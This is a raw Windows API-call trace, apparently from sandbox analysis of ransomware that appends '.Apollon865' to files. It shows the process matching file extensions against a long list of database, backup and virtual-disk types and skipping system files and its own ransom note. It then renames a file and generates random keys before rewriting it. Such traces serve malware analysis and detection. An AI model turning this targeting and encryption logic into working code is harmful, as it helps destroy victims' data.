	[0053.346] lstrlenW (lpString="^^^") returned 3
	[0053.346] lstrcmpiW (lpString1="url", lpString2="^^^") returned 1
	[0053.346] lstrlenW (lpString="abs") returned 3
	[0053.347] lstrcmpiW (lpString1="url", lpString2="abs") returned 1
	[0053.347] lstrlenW (lpString="abx") returned 3
	[0053.347] lstrcmpiW (lpString1="url", lpString2="abx") returned 1
	[0053.347] lstrlenW (lpString="accdb") returned 5
	[0053.347] lstrcmpiW (lpString1="e.url", lpString2="accdb") returned 1
	[0053.347] lstrlenW (lpString="accdc") returned 5
	[0053.347] lstrcmpiW (lpString1="e.url", lpString2="accdc") returned 1
	[0053.347] lstrlenW (lpString="accde") returned 5
	[0053.347] lstrcmpiW (lpString1="e.url", lpString2="accde") returned 1
	[0053.347] lstrlenW (lpString="accdr") returned 5
	[0053.347] lstrcmpiW (lpString1="e.url", lpString2="accdr") returned 1
	[0053.347] lstrlenW (lpString="accdt") returned 5
	[0053.347] lstrcmpiW (lpString1="e.url", lpString2="accdt") returned 1
	[0053.347] lstrlenW (lpString="accdw") returned 5
	[0053.347] lstrcmpiW (lpString1="e.url", lpString2="accdw") returned 1
	[0053.347] lstrlenW (lpString="accft") returned 5
	[0053.347] lstrcmpiW (lpString1="e.url", lpString2="accft") returned 1
	[0053.347] lstrlenW (lpString="adb") returned 3
	[0053.347] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0053.347] lstrlenW (lpString="adb") returned 3
	[0053.347] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0053.347] lstrlenW (lpString="ade") returned 3
	[0053.347] lstrcmpiW (lpString1="url", lpString2="ade") returned 1
	[0053.347] lstrlenW (lpString="adf") returned 3
	[0053.347] lstrcmpiW (lpString1="url", lpString2="adf") returned 1
	[0053.347] lstrlenW (lpString="adn") returned 3
	[0053.347] lstrcmpiW (lpString1="url", lpString2="adn") returned 1
	[0053.347] lstrlenW (lpString="adp") returned 3
	[0053.347] lstrcmpiW (lpString1="url", lpString2="adp") returned 1
	[0053.347] lstrlenW (lpString="alf") returned 3
	[0053.347] lstrcmpiW (lpString1="url", lpString2="alf") returned 1
	[0053.347] lstrlenW (lpString="ask") returned 3
	[0053.347] lstrcmpiW (lpString1="url", lpString2="ask") returned 1
	[0053.347] lstrlenW (lpString="btr") returned 3
	[0053.347] lstrcmpiW (lpString1="url", lpString2="btr") returned 1
	[0053.347] lstrlenW (lpString="cat") returned 3
	[0053.348] lstrcmpiW (lpString1="url", lpString2="cat") returned 1
	[0053.348] lstrlenW (lpString="cdb") returned 3
	[0053.348] lstrcmpiW (lpString1="url", lpString2="cdb") returned 1
	[0053.348] lstrlenW (lpString="ckp") returned 3
	[0053.348] lstrcmpiW (lpString1="url", lpString2="ckp") returned 1
	[0053.348] lstrlenW (lpString="cma") returned 3
	[0053.348] lstrcmpiW (lpString1="url", lpString2="cma") returned 1
	[0053.348] lstrlenW (lpString="cpd") returned 3
	[0053.348] lstrcmpiW (lpString1="url", lpString2="cpd") returned 1
	[0053.348] lstrlenW (lpString="dacpac") returned 6
	[0053.348] lstrcmpiW (lpString1="me.url", lpString2="dacpac") returned 1
	[0053.348] lstrlenW (lpString="dad") returned 3
	[0053.348] lstrcmpiW (lpString1="url", lpString2="dad") returned 1
	[0053.348] lstrlenW (lpString="dadiagrams") returned 10
	[0053.348] lstrcmpiW (lpString1="t Home.url", lpString2="dadiagrams") returned 1
	[0053.348] lstrlenW (lpString="daschema") returned 8
	[0053.348] lstrcmpiW (lpString1="Home.url", lpString2="daschema") returned 1
	[0053.348] lstrlenW (lpString="db-journal") returned 10
	[0053.348] lstrcmpiW (lpString1="t Home.url", lpString2="db-journal") returned 1
	[0053.348] lstrlenW (lpString="db-shm") returned 6
	[0053.348] lstrcmpiW (lpString1="me.url", lpString2="db-shm") returned 1
	[0053.348] lstrlenW (lpString="db-wal") returned 6
	[0053.348] lstrcmpiW (lpString1="me.url", lpString2="db-wal") returned 1
	[0053.348] lstrlenW (lpString="dbc") returned 3
	[0053.348] lstrcmpiW (lpString1="url", lpString2="dbc") returned 1
	[0053.348] lstrlenW (lpString="dbs") returned 3
	[0053.348] lstrcmpiW (lpString1="url", lpString2="dbs") returned 1
	[0053.348] lstrlenW (lpString="dbt") returned 3
	[0053.348] lstrcmpiW (lpString1="url", lpString2="dbt") returned 1
	[0053.348] lstrlenW (lpString="dbv") returned 3
	[0053.348] lstrcmpiW (lpString1="url", lpString2="dbv") returned 1
	[0053.348] lstrlenW (lpString="dbx") returned 3
	[0053.348] lstrcmpiW (lpString1="url", lpString2="dbx") returned 1
	[0053.348] lstrlenW (lpString="dcb") returned 3
	[0053.348] lstrcmpiW (lpString1="url", lpString2="dcb") returned 1
	[0053.348] lstrlenW (lpString="dct") returned 3
	[0053.349] lstrcmpiW (lpString1="url", lpString2="dct") returned 1
	[0053.349] lstrlenW (lpString="dcx") returned 3
	[0053.349] lstrcmpiW (lpString1="url", lpString2="dcx") returned 1
	[0053.349] lstrlenW (lpString="ddl") returned 3
	[0053.349] lstrcmpiW (lpString1="url", lpString2="ddl") returned 1
	[0053.349] lstrlenW (lpString="dlis") returned 4
	[0053.349] lstrcmpiW (lpString1=".url", lpString2="dlis") returned -1
	[0053.349] lstrlenW (lpString="dp1") returned 3
	[0053.349] lstrcmpiW (lpString1="url", lpString2="dp1") returned 1
	[0053.349] lstrlenW (lpString="dqy") returned 3
	[0053.349] lstrcmpiW (lpString1="url", lpString2="dqy") returned 1
	[0053.349] lstrlenW (lpString="dsk") returned 3
	[0053.349] lstrcmpiW (lpString1="url", lpString2="dsk") returned 1
	[0053.349] lstrlenW (lpString="dsn") returned 3
	[0053.349] lstrcmpiW (lpString1="url", lpString2="dsn") returned 1
	[0053.349] lstrlenW (lpString="dtsx") returned 4
	[0053.349] lstrcmpiW (lpString1=".url", lpString2="dtsx") returned -1
	[0053.349] lstrlenW (lpString="dxl") returned 3
	[0053.349] lstrcmpiW (lpString1="url", lpString2="dxl") returned 1
	[0053.349] lstrlenW (lpString="eco") returned 3
	[0053.349] lstrcmpiW (lpString1="url", lpString2="eco") returned 1
	[0053.349] lstrlenW (lpString="ecx") returned 3
	[0053.349] lstrcmpiW (lpString1="url", lpString2="ecx") returned 1
	[0053.349] lstrlenW (lpString="edb") returned 3
	[0053.349] lstrcmpiW (lpString1="url", lpString2="edb") returned 1
	[0053.349] lstrlenW (lpString="epim") returned 4
	[0053.349] lstrcmpiW (lpString1=".url", lpString2="epim") returned -1
	[0053.349] lstrlenW (lpString="fcd") returned 3
	[0053.349] lstrcmpiW (lpString1="url", lpString2="fcd") returned 1
	[0053.349] lstrlenW (lpString="fdb") returned 3
	[0053.349] lstrcmpiW (lpString1="url", lpString2="fdb") returned 1
	[0053.349] lstrlenW (lpString="fic") returned 3
	[0053.349] lstrcmpiW (lpString1="url", lpString2="fic") returned 1
	[0053.349] lstrlenW (lpString="flexolibrary") returned 12
	[0053.349] lstrcmpiW (lpString1=" At Home.url", lpString2="flexolibrary") returned -1
	[0053.349] lstrlenW (lpString="fm5") returned 3
	[0053.350] lstrcmpiW (lpString1="url", lpString2="fm5") returned 1
	[0053.350] lstrlenW (lpString="fmp") returned 3
	[0053.350] lstrcmpiW (lpString1="url", lpString2="fmp") returned 1
	[0053.350] lstrlenW (lpString="fmp12") returned 5
	[0053.350] lstrcmpiW (lpString1="e.url", lpString2="fmp12") returned -1
	[0053.350] lstrlenW (lpString="fmpsl") returned 5
	[0053.350] lstrcmpiW (lpString1="e.url", lpString2="fmpsl") returned -1
	[0053.350] lstrlenW (lpString="fol") returned 3
	[0053.350] lstrcmpiW (lpString1="url", lpString2="fol") returned 1
	[0053.350] lstrlenW (lpString="fp3") returned 3
	[0053.350] lstrcmpiW (lpString1="url", lpString2="fp3") returned 1
	[0053.350] lstrlenW (lpString="fp4") returned 3
	[0053.350] lstrcmpiW (lpString1="url", lpString2="fp4") returned 1
	[0053.350] lstrlenW (lpString="fp5") returned 3
	[0053.350] lstrcmpiW (lpString1="url", lpString2="fp5") returned 1
	[0053.350] lstrlenW (lpString="fp7") returned 3
	[0053.350] lstrcmpiW (lpString1="url", lpString2="fp7") returned 1
	[0053.350] lstrlenW (lpString="fpt") returned 3
	[0053.350] lstrcmpiW (lpString1="url", lpString2="fpt") returned 1
	[0053.350] lstrlenW (lpString="frm") returned 3
	[0053.350] lstrcmpiW (lpString1="url", lpString2="frm") returned 1
	[0053.350] lstrlenW (lpString="gdb") returned 3
	[0053.350] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1
	[0053.350] lstrlenW (lpString="gdb") returned 3
	[0053.350] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1
	[0053.350] lstrlenW (lpString="grdb") returned 4
	[0053.350] lstrcmpiW (lpString1=".url", lpString2="grdb") returned -1
	[0053.350] lstrlenW (lpString="gwi") returned 3
	[0053.350] lstrcmpiW (lpString1="url", lpString2="gwi") returned 1
	[0053.350] lstrlenW (lpString="hdb") returned 3
	[0053.350] lstrcmpiW (lpString1="url", lpString2="hdb") returned 1
	[0053.350] lstrlenW (lpString="his") returned 3
	[0053.350] lstrcmpiW (lpString1="url", lpString2="his") returned 1
	[0053.350] lstrlenW (lpString="ib") returned 2
	[0053.350] lstrcmpiW (lpString1="rl", lpString2="ib") returned 1
	[0053.350] lstrlenW (lpString="idb") returned 3
	[0053.351] lstrcmpiW (lpString1="url", lpString2="idb") returned 1
	[0053.351] lstrlenW (lpString="ihx") returned 3
	[0053.351] lstrcmpiW (lpString1="url", lpString2="ihx") returned 1
	[0053.351] lstrlenW (lpString="itdb") returned 4
	[0053.351] lstrcmpiW (lpString1=".url", lpString2="itdb") returned -1
	[0053.351] lstrlenW (lpString="itw") returned 3
	[0053.351] lstrcmpiW (lpString1="url", lpString2="itw") returned 1
	[0053.351] lstrlenW (lpString="jet") returned 3
	[0053.351] lstrcmpiW (lpString1="url", lpString2="jet") returned 1
	[0053.351] lstrlenW (lpString="jtx") returned 3
	[0053.351] lstrcmpiW (lpString1="url", lpString2="jtx") returned 1
	[0053.351] lstrlenW (lpString="kdb") returned 3
	[0053.351] lstrcmpiW (lpString1="url", lpString2="kdb") returned 1
	[0053.351] lstrlenW (lpString="kexi") returned 4
	[0053.351] lstrcmpiW (lpString1=".url", lpString2="kexi") returned -1
	[0053.351] lstrlenW (lpString="kexic") returned 5
	[0053.351] lstrcmpiW (lpString1="e.url", lpString2="kexic") returned -1
	[0053.351] lstrlenW (lpString="kexis") returned 5
	[0053.351] lstrcmpiW (lpString1="e.url", lpString2="kexis") returned -1
	[0053.351] lstrlenW (lpString="lgc") returned 3
	[0053.351] lstrcmpiW (lpString1="url", lpString2="lgc") returned 1
	[0053.351] lstrlenW (lpString="lwx") returned 3
	[0053.351] lstrcmpiW (lpString1="url", lpString2="lwx") returned 1
	[0053.351] lstrlenW (lpString="maf") returned 3
	[0053.351] lstrcmpiW (lpString1="url", lpString2="maf") returned 1
	[0053.351] lstrlenW (lpString="maq") returned 3
	[0053.351] lstrcmpiW (lpString1="url", lpString2="maq") returned 1
	[0053.351] lstrlenW (lpString="mar") returned 3
	[0053.351] lstrcmpiW (lpString1="url", lpString2="mar") returned 1
	[0053.351] lstrlenW (lpString="marshal") returned 7
	[0053.351] lstrcmpiW (lpString1="ome.url", lpString2="marshal") returned 1
	[0053.351] lstrlenW (lpString="mas") returned 3
	[0053.351] lstrcmpiW (lpString1="url", lpString2="mas") returned 1
	[0053.351] lstrlenW (lpString="mav") returned 3
	[0053.351] lstrcmpiW (lpString1="url", lpString2="mav") returned 1
	[0053.351] lstrlenW (lpString="maw") returned 3
	[0053.351] lstrcmpiW (lpString1="url", lpString2="maw") returned 1
	[0053.352] lstrlenW (lpString="mdbhtml") returned 7
	[0053.352] lstrcmpiW (lpString1="ome.url", lpString2="mdbhtml") returned 1
	[0053.352] lstrlenW (lpString="mdn") returned 3
	[0053.352] lstrcmpiW (lpString1="url", lpString2="mdn") returned 1
	[0053.352] lstrlenW (lpString="mdt") returned 3
	[0053.352] lstrcmpiW (lpString1="url", lpString2="mdt") returned 1
	[0053.352] lstrlenW (lpString="mfd") returned 3
	[0053.352] lstrcmpiW (lpString1="url", lpString2="mfd") returned 1
	[0053.352] lstrlenW (lpString="mpd") returned 3
	[0053.352] lstrcmpiW (lpString1="url", lpString2="mpd") returned 1
	[0053.352] lstrlenW (lpString="mrg") returned 3
	[0053.352] lstrcmpiW (lpString1="url", lpString2="mrg") returned 1
	[0053.352] lstrlenW (lpString="mud") returned 3
	[0053.352] lstrcmpiW (lpString1="url", lpString2="mud") returned 1
	[0053.352] lstrlenW (lpString="mwb") returned 3
	[0053.352] lstrcmpiW (lpString1="url", lpString2="mwb") returned 1
	[0053.352] lstrlenW (lpString="myd") returned 3
	[0053.352] lstrcmpiW (lpString1="url", lpString2="myd") returned 1
	[0053.352] lstrlenW (lpString="ndf") returned 3
	[0053.352] lstrcmpiW (lpString1="url", lpString2="ndf") returned 1
	[0053.352] lstrlenW (lpString="nnt") returned 3
	[0053.352] lstrcmpiW (lpString1="url", lpString2="nnt") returned 1
	[0053.352] lstrlenW (lpString="nrmlib") returned 6
	[0053.352] lstrcmpiW (lpString1="me.url", lpString2="nrmlib") returned -1
	[0053.352] lstrlenW (lpString="ns2") returned 3
	[0053.352] lstrcmpiW (lpString1="url", lpString2="ns2") returned 1
	[0053.352] lstrlenW (lpString="ns3") returned 3
	[0053.352] lstrcmpiW (lpString1="url", lpString2="ns3") returned 1
	[0053.352] lstrlenW (lpString="ns4") returned 3
	[0053.352] lstrcmpiW (lpString1="url", lpString2="ns4") returned 1
	[0053.352] lstrlenW (lpString="nsf") returned 3
	[0053.352] lstrcmpiW (lpString1="url", lpString2="nsf") returned 1
	[0053.352] lstrlenW (lpString="nv") returned 2
	[0053.352] lstrcmpiW (lpString1="rl", lpString2="nv") returned 1
	[0053.352] lstrlenW (lpString="nv2") returned 3
	[0053.352] lstrcmpiW (lpString1="url", lpString2="nv2") returned 1
	[0053.353] lstrlenW (lpString="nwdb") returned 4
	[0053.353] lstrcmpiW (lpString1=".url", lpString2="nwdb") returned -1
	[0053.353] lstrlenW (lpString="nyf") returned 3
	[0053.353] lstrcmpiW (lpString1="url", lpString2="nyf") returned 1
	[0053.353] lstrlenW (lpString="odb") returned 3
	[0053.353] lstrcmpiW (lpString1="url", lpString2="odb") returned 1
	[0053.353] lstrlenW (lpString="odb") returned 3
	[0053.353] lstrcmpiW (lpString1="url", lpString2="odb") returned 1
	[0053.353] lstrlenW (lpString="oqy") returned 3
	[0053.353] lstrcmpiW (lpString1="url", lpString2="oqy") returned 1
	[0053.353] lstrlenW (lpString="ora") returned 3
	[0053.353] lstrcmpiW (lpString1="url", lpString2="ora") returned 1
	[0053.353] lstrlenW (lpString="orx") returned 3
	[0053.353] lstrcmpiW (lpString1="url", lpString2="orx") returned 1
	[0053.353] lstrlenW (lpString="owc") returned 3
	[0053.353] lstrcmpiW (lpString1="url", lpString2="owc") returned 1
	[0053.353] lstrlenW (lpString="p96") returned 3
	[0053.353] lstrcmpiW (lpString1="url", lpString2="p96") returned 1
	[0053.353] lstrlenW (lpString="p97") returned 3
	[0053.353] lstrcmpiW (lpString1="url", lpString2="p97") returned 1
	[0053.353] lstrlenW (lpString="pan") returned 3
	[0053.353] lstrcmpiW (lpString1="url", lpString2="pan") returned 1
	[0053.353] lstrlenW (lpString="pdb") returned 3
	[0053.353] lstrcmpiW (lpString1="url", lpString2="pdb") returned 1
	[0053.353] lstrlenW (lpString="pdm") returned 3
	[0053.353] lstrcmpiW (lpString1="url", lpString2="pdm") returned 1
	[0053.353] lstrlenW (lpString="pnz") returned 3
	[0053.353] lstrcmpiW (lpString1="url", lpString2="pnz") returned 1
	[0053.353] lstrlenW (lpString="qry") returned 3
	[0053.353] lstrcmpiW (lpString1="url", lpString2="qry") returned 1
	[0053.353] lstrlenW (lpString="qvd") returned 3
	[0053.353] lstrcmpiW (lpString1="url", lpString2="qvd") returned 1
	[0053.353] lstrlenW (lpString="rbf") returned 3
	[0053.353] lstrcmpiW (lpString1="url", lpString2="rbf") returned 1
	[0053.353] lstrlenW (lpString="rctd") returned 4
	[0053.353] lstrcmpiW (lpString1=".url", lpString2="rctd") returned -1
	[0053.354] lstrlenW (lpString="rod") returned 3
	[0053.354] lstrcmpiW (lpString1="url", lpString2="rod") returned 1
	[0053.354] lstrlenW (lpString="rodx") returned 4
	[0053.354] lstrcmpiW (lpString1=".url", lpString2="rodx") returned -1
	[0053.354] lstrlenW (lpString="rpd") returned 3
	[0053.354] lstrcmpiW (lpString1="url", lpString2="rpd") returned 1
	[0053.354] lstrlenW (lpString="rsd") returned 3
	[0053.354] lstrcmpiW (lpString1="url", lpString2="rsd") returned 1
	[0053.354] lstrlenW (lpString="sas7bdat") returned 8
	[0053.354] lstrcmpiW (lpString1="Home.url", lpString2="sas7bdat") returned -1
	[0053.354] lstrlenW (lpString="sbf") returned 3
	[0053.354] lstrcmpiW (lpString1="url", lpString2="sbf") returned 1
	[0053.354] lstrlenW (lpString="scx") returned 3
	[0053.354] lstrcmpiW (lpString1="url", lpString2="scx") returned 1
	[0053.354] lstrlenW (lpString="sdb") returned 3
	[0053.354] lstrcmpiW (lpString1="url", lpString2="sdb") returned 1
	[0053.354] lstrlenW (lpString="sdc") returned 3
	[0053.354] lstrcmpiW (lpString1="url", lpString2="sdc") returned 1
	[0053.354] lstrlenW (lpString="sdf") returned 3
	[0053.354] lstrcmpiW (lpString1="url", lpString2="sdf") returned 1
	[0053.354] lstrlenW (lpString="sis") returned 3
	[0053.354] lstrcmpiW (lpString1="url", lpString2="sis") returned 1
	[0053.354] lstrlenW (lpString="spq") returned 3
	[0053.354] lstrcmpiW (lpString1="url", lpString2="spq") returned 1
	[0053.354] lstrlenW (lpString="te") returned 2
	[0053.354] lstrcmpiW (lpString1="rl", lpString2="te") returned -1
	[0053.354] lstrlenW (lpString="teacher") returned 7
	[0053.354] lstrcmpiW (lpString1="ome.url", lpString2="teacher") returned -1
	[0053.354] lstrlenW (lpString="tmd") returned 3
	[0053.354] lstrcmpiW (lpString1="url", lpString2="tmd") returned 1
	[0053.354] lstrlenW (lpString="tps") returned 3
	[0053.354] lstrcmpiW (lpString1="url", lpString2="tps") returned 1
	[0053.354] lstrlenW (lpString="trc") returned 3
	[0053.354] lstrcmpiW (lpString1="url", lpString2="trc") returned 1
	[0053.354] lstrlenW (lpString="trc") returned 3
	[0053.354] lstrcmpiW (lpString1="url", lpString2="trc") returned 1
	[0053.355] lstrlenW (lpString="trm") returned 3
	[0053.355] lstrcmpiW (lpString1="url", lpString2="trm") returned 1
	[0053.355] lstrlenW (lpString="udb") returned 3
	[0053.355] lstrcmpiW (lpString1="url", lpString2="udb") returned 1
	[0053.355] lstrlenW (lpString="udl") returned 3
	[0053.355] lstrcmpiW (lpString1="url", lpString2="udl") returned 1
	[0053.355] lstrlenW (lpString="usr") returned 3
	[0053.355] lstrcmpiW (lpString1="url", lpString2="usr") returned -1
	[0053.355] lstrlenW (lpString="v12") returned 3
	[0053.355] lstrcmpiW (lpString1="url", lpString2="v12") returned -1
	[0053.355] lstrlenW (lpString="vis") returned 3
	[0053.355] lstrcmpiW (lpString1="url", lpString2="vis") returned -1
	[0053.355] lstrlenW (lpString="vpd") returned 3
	[0053.355] lstrcmpiW (lpString1="url", lpString2="vpd") returned -1
	[0053.355] lstrlenW (lpString="vvv") returned 3
	[0053.355] lstrcmpiW (lpString1="url", lpString2="vvv") returned -1
	[0053.355] lstrlenW (lpString="wdb") returned 3
	[0053.355] lstrcmpiW (lpString1="url", lpString2="wdb") returned -1
	[0053.355] lstrlenW (lpString="wmdb") returned 4
	[0053.355] lstrcmpiW (lpString1=".url", lpString2="wmdb") returned -1
	[0053.355] lstrlenW (lpString="wrk") returned 3
	[0053.355] lstrcmpiW (lpString1="url", lpString2="wrk") returned -1
	[0053.355] lstrlenW (lpString="xdb") returned 3
	[0053.355] lstrcmpiW (lpString1="url", lpString2="xdb") returned -1
	[0053.355] lstrlenW (lpString="xld") returned 3
	[0053.355] lstrcmpiW (lpString1="url", lpString2="xld") returned -1
	[0053.355] lstrlenW (lpString="xmlff") returned 5
	[0053.355] lstrcmpiW (lpString1="e.url", lpString2="xmlff") returned -1
	[0053.355] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Home.url.Apollon865") returned 78
	[0053.355] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at home.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Home.url.Apollon865" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at home.url.apollon865"), dwFlags=0x1) returned 1
	[0053.356] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Home.url.Apollon865" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at home.url.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0053.356] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=133) returned 1
	[0053.356] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0053.356] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0053.356] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0053.356] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0053.357] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0053.357] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0053.357] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0xc0
	[0053.359] MapViewOfFile (hFileMappingObject=0xc0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000
	[0053.360] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0053.360] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0053.360] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0053.360] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0053.361] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0053.361] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0053.361] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0053.361] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0053.361] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0053.361] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5afa60
	[0053.361] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0053.361] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afa60 | out: hHeap=0x580000) returned 1
	[0053.361] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0053.361] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0053.361] CloseHandle (hObject=0xc0) returned 1
	[0053.361] CloseHandle (hObject=0x118) returned 1
	[0053.361] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0053.361] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0053.361] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0053.361] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft At Work.url", cAlternateFileName="MICROS~2.URL")) returned 1
	[0053.361] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0053.362] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2="Apollon865.txt.exe") returned 1
	[0053.362] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2=".") returned 1
	[0053.362] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2="..") returned 1
	[0053.362] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2="windows") returned -1
	[0053.362] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2="bootmgr") returned 1
	[0053.362] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2="temp") returned -1
	[0053.362] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2="pagefile.sys") returned -1
	[0053.362] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2="boot") returned 1
	[0053.362] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2="ids.txt") returned 1
	[0053.362] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2="ntuser.dat") returned -1
	[0053.362] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2="perflogs") returned -1
	[0053.362] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2="MSBuild") returned -1
	[0053.362] lstrlenW (lpString="Microsoft At Work.url") returned 21
	[0053.362] lstrlenW (lpString="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Home.url") returned 67
	[0053.362] lstrcpyW (in: lpString1=0x119e664, lpString2="Microsoft At Work.url" | out: lpString1="Microsoft At Work.url") returned="Microsoft At Work.url"
	[0053.362] lstrlenW (lpString="Microsoft At Work.url") returned 21
	[0053.362] lstrlenW (lpString="Apollon865") returned 10
	[0053.362] lstrcmpiW (lpString1="t Work.url", lpString2="Apollon865") returned 1
	[0053.362] lstrlenW (lpString=".dll") returned 4
	[0053.362] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2=".dll") returned 1
	[0053.362] lstrlenW (lpString=".lnk") returned 4
	[0053.362] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2=".lnk") returned 1
	[0053.362] lstrlenW (lpString=".ini") returned 4
	[0053.362] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2=".ini") returned 1
	[0053.362] lstrlenW (lpString=".sys") returned 4
	[0053.362] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2=".sys") returned 1
	[0053.362] lstrlenW (lpString="Microsoft At Work.url") returned 21
	[0053.362] lstrlenW (lpString="bak") returned 3
	[0053.362] lstrcmpiW (lpString1="url", lpString2="bak") returned 1
	[0053.362] lstrlenW (lpString="ba_") returned 3
	[0053.362] lstrcmpiW (lpString1="url", lpString2="ba_") returned 1
	[0053.362] lstrlenW (lpString="dbb") returned 3
	[0053.362] lstrcmpiW (lpString1="url", lpString2="dbb") returned 1
	[0053.363] lstrlenW (lpString="vmdk") returned 4
	[0053.363] lstrcmpiW (lpString1=".url", lpString2="vmdk") returned -1
	[0053.363] lstrlenW (lpString="rar") returned 3
	[0053.363] lstrcmpiW (lpString1="url", lpString2="rar") returned 1
	[0053.363] lstrlenW (lpString="zip") returned 3
	[0053.363] lstrcmpiW (lpString1="url", lpString2="zip") returned -1
	[0053.363] lstrlenW (lpString="tgz") returned 3
	[0053.363] lstrcmpiW (lpString1="url", lpString2="tgz") returned 1
	[0053.363] lstrlenW (lpString="vbox") returned 4
	[0053.363] lstrcmpiW (lpString1=".url", lpString2="vbox") returned -1
	[0053.363] lstrlenW (lpString="vdi") returned 3
	[0053.363] lstrcmpiW (lpString1="url", lpString2="vdi") returned -1
	[0053.363] lstrlenW (lpString="vhd") returned 3
	[0053.363] lstrcmpiW (lpString1="url", lpString2="vhd") returned -1
	[0053.363] lstrlenW (lpString="vhdx") returned 4
	[0053.363] lstrcmpiW (lpString1=".url", lpString2="vhdx") returned -1
	[0053.363] lstrlenW (lpString="avhd") returned 4
	[0053.363] lstrcmpiW (lpString1=".url", lpString2="avhd") returned -1
	[0053.363] lstrlenW (lpString="db") returned 2
	[0053.363] lstrcmpiW (lpString1="rl", lpString2="db") returned 1
	[0053.363] lstrlenW (lpString="db2") returned 3
	[0053.363] lstrcmpiW (lpString1="url", lpString2="db2") returned 1
	[0053.363] lstrlenW (lpString="db3") returned 3
